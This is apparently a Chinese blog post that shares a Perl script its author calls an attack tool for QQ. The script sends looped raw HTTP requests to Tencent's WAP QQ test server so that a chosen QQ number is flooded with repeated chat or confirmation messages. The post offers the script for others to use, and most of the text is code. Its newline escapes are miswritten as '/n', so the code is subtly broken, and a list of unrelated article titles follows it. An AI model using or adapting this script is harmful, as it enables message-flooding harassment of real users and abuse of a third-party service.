以前在尝试攻击的时候改写的程序,现在贴出来可能会对一些朋友有些用处。
内容很简单,将外部参数引入,然后按照要求开启Socket会话,本例中访问的是HTTP。

#!/usr/bin/perl
#Coded By Roy<Roy at c4st.cn>
#Script For QQ Attacking

$|=1;
use Socket;
use Getopt::Std;
#获取外部参数
getopt('aytgkl');

print "/n             ===================================================/n";
print "                       Perl Script For QQ Attacking/n";
print "                          Coded By Roy<Roy at c4st.cn>     /n";
print "                       Visit:luoyi.com & c4st.cn              /n";
print "             ===================================================/n";

#参数不符合要求则显示使用方法
&usage unless ( defined($opt_a) && defined($opt_y) && defined($opt_t) && defined($opt_g) && defined($opt_k));

#将外部参数赋给内部变量
$mode=$opt_a;
$time=$opt_l||1;
$urqq=$opt_y;
$targ=$opt_t;
$pg=$opt_g;
$pk=$opt_k;

#定义了攻击中使用到的服务器,waptest.tencent.com是WAPQQ免费体验用的服务器
$host="waptest.tencent.com";
$port=80;

#采用"验证请求"方式攻击
if ($mode eq "c"){
print"Attacking ...";
for ($i=1;$i<=$time;$i++){
&attack2;
}
print"/nDone!.";
}
#采用"普通消息"方式攻击
elsif ($mode eq "n"){
print"Attacking ...";
for ($i=1;$i<=$time;$i++){
&attack1;
}
print"/nDone!.";
}
else
{&usage};

#"普通消息"方式攻击函数,被攻击者将收到类似"10001 Is Coming"的信息,如果要修改信息内容,请修改Psendmsg变量
sub attack1 {
$req = "GET /cgi-bin/wapqq_chat.cgi?Pc=11&Pq=$urqq&Pg=$pg&Poq=$targ&Pk=$pk&Psendmsg=$urqq%20Is%20Coming&PMisc_mid=123456789&stn=gmcc_try HTTP/1.1/n".
       "Accept: text/vnd.wap.wml, application/vnd.wap.wmlc, image/vnd.wap.wbmp, image/gif, image/jpeg, text/vnd.wap.wmlscript, application/vnd.wap.wmlscriptc/n".
       "User-Agent: C4ST(^-^)/n".
       "Host: waptest.tencent.com/n".
       "/n/n";
print "/n";
sendraw($req);
}

#"验证请求"方式攻击函数,被攻击者将收到类似"10001 Is Coming"的信息,如果要修改信息内容,请修改PConfirmInfo变量
sub attack2 {
$req = "GET /cgi-bin/wapqq_chat.cgi?Pc=27&Pq=$urqq&Pg=$pg&Poq=$targ&Pk=$pk&PConfirmInfo=$urqq%20Is%20Coming&PMisc_mid=123456789&stn=gmcc_try HTTP/1.1/n".
       "Accept: text/vnd.wap.wml, application/vnd.wap.wmlc, image/vnd.wap.wbmp, image/gif, image/jpeg, text/vnd.wap.wmlscript, application/vnd.wap.wmlscriptc/n".
       "User-Agent: C4ST(^-^)/n".
       "Host: waptest.tencent.com/n".
       "/n/n";
print "/n";
sendraw($req);
}

#显示使用方法的函数,PG和PK的值可以在登陆WAPQQ后查看源代码而得到
sub usage {
print qq~
Usage: $0 -a <Attack Mode> -l <Loops Of Attacking> -y <Your QQ Number> -t <Target To Attack> -pg <PG For Your WAPQQ> -pk <PK For Your Session>

-a   =Attack Mode,Choose "n" For Normal QQ Msg Type,Or Choose "c" For Confirm QQ Msg Type
    -l   =Loops Of Attacking,The Times To Attack The Target
    -y   =Your QQ Number
    -t   =Target To Attack,QQ Number
    -g  =PG For Your WAPQQ(1)
    -k  =PK For Your Session(1)

(1)HowTo Get PG And PK:

PG is your QQ password's hash used in WAPQQ site.PK is the session id for your current visiting at WAPQQ site.You can get them once you logged on WAPQQ via your mobile,wap browser(eg.WinWAP) or wap2web service(eg.http://www.easywap.ch/Wap2Web.html).
~;
exit;
}

#Socket函数
sub sendraw {
    my ($req) = @_;
    my $target;
    $target = inet_aton($host) || die("inet_aton problems/n");
    socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems/n");
    if(connect(S,pack "SnA4x8",2,$port,$target)){
        select(S);
    $| = 1;
        print $req;
    close(S);
         return true;
    }
    else {
    die("Can't connect.../n");
    }
}

一个简单的用Perl实现的Exploit实例相关推荐

  1. java绘制一个饼图_一个简单的绘制饼图的 Java Bean 实例

    1.[代码]ChartBean.java /** * Copyright (c) Ian F. Darwin, http://www.darwinsys.com/, 1996-2002. * All ...

  2. 后端入门之Python实现一个简单接口编写

    最近好像要转向后端了,故想提前学习下,实现一个简单接口编写,熟悉一下编写接口的流程和框架.写这个主要是记录一下自己的学习过程,以便后面温习.在Python实现一个简单接口编写之前需要了解一些后端开发的 ...

  3. 聊聊高并发(十六)实现一个简单的可重入锁

    可重入锁指的是假设一个线程已经获得了一个锁,那么它能够多次进入这个锁,当然前提是线程须要先获得这个锁. 可重入锁是最常使用的锁.Java的内置锁就是可重入锁,使用synchronizedkeyword ...

  4. 用php做一个简单的汇率,vue实现简单实时汇率计算功能

    最近在自己摸索vue的使用,因为相对于只是去看教程和实例,感觉不如自己动手写一个demo入门来的快.刚好看到小程序中有一个简单但是很精致的应用极简汇率,而且它的表现形式和vue的表现形式很像,于是想着 ...

  5. python编写赛车游戏单机版_使用Python中OrderedDict模拟一个简单的竞速游戏排名

    上一篇,我们梳理了Python中关于字典排序的一些常用方法(杂乱无章的数据结构如何进行排序,简明讲述Python字典排序那些事).其中,我们讲到了Python的collections模块中的Order ...

  6. 编写一个最简单的.php,学习猿地- 说明 如果我们要编写一个简单的PHP脚本,需要学习哪些...

    说明 如果我们要编写一个简单的 PHP 脚本,需要学习哪些基础知识呢? PHP 基础 PHP 脚本可放置于文档中的任何位置. 标准 的 PHP 脚本以 <?php 开头,以 ?> 结尾: ...

  7. 【javamatlab】以一个简单的例子实现java和matlab混编

    目录 使用环境: MATLAB: matlab代码: 将matlab代码打包: eclipse: jar包配置: 使用jar包: 使用环境: jdk8(ide使用eclipse2019-6).matl ...

  8. 一个简单的slider滑块组件

    2019独角兽企业重金招聘Python工程师标准>>> 我们先来看一张图片: 要实现这样的效果我们有很多种方法,比如直接使用<input type="range&qu ...

  9. 用 cooking 搭建一个简单又优雅的 Vue 项目开发环境 (入门篇)

    本文适合 Vue 的初学者,以及对 webpack 不熟悉的同学阅读.前提是你要会用基本的命令行. Node 和 NPM,以及掌握 ES2015 的基础知识.本文都是在 macOS 环境下运行,要求使 ...

最新文章

  1. 向类脑芯片迈进!科学家制造出光基人工神经元网络芯片
  2. Java NIO系列教程(八) SocketChannel
  3. VC++ 访问数据库实例详解图解
  4. 全球及中国虚拟厨房(仅限外卖的餐厅)行业运营模式分析及发展规划建议研究报告2021-2027年版
  5. matlab内存不足问题
  6. Solr--企业级搜索应用服务器
  7. centos mysql 服务器_服务器数据库搭建流程(CentOs+mysql)
  8. python pip install syntaxerror_解决pip install xxx报错SyntaxError: invalid syntax的问题
  9. ubuntu中vscode配置python_ubuntu下vs code的python虚拟环境的配置
  10. 基于python的文件处理
  11. 使用WinPcap抓包分析网络协议
  12. html做table某一列的合计,Jquery、js计算table列合计
  13. openstreetmap地图下载的几种方法
  14. java int 32位_JAVA基本数据类型所占字节数是多少?(32位系统)
  15. c#解压缩文件(zip)
  16. C语言查表法实现CRC-32计算IEEE 802.3标准
  17. 联拓生物任命钱江担任中国区总经理
  18. go 当前时间、时间戳和时间字符串及相互转换
  19. maskrcnn_benchmark 代码详解之 boxlist_ops.py
  20. 实现同步未读消息条数

热门文章

  1. 聚合数据-免费的接口
  2. Microsoft Visual Studio C++2022 Windows 11 SDK环境
  3. Python中将科学计数法(或以e为底的自然对数)字符串转换为float浮点数
  4. python学习第八天
  5. PHP empty() 的判断
  6. 【system verilog】继续探究IC前端仿真中的“时间”,timescale,timeunit/timeprecision设置
  7. 【报告分享】AIoT智能生活场景营销研究报告-小米中传(附下载)
  8. 如何用计算机截部分屏,部分截图,教您电脑怎么局部截图
  9. LINUX线程及线程间通信
  10. 支付宝支付接口调用实现支付功能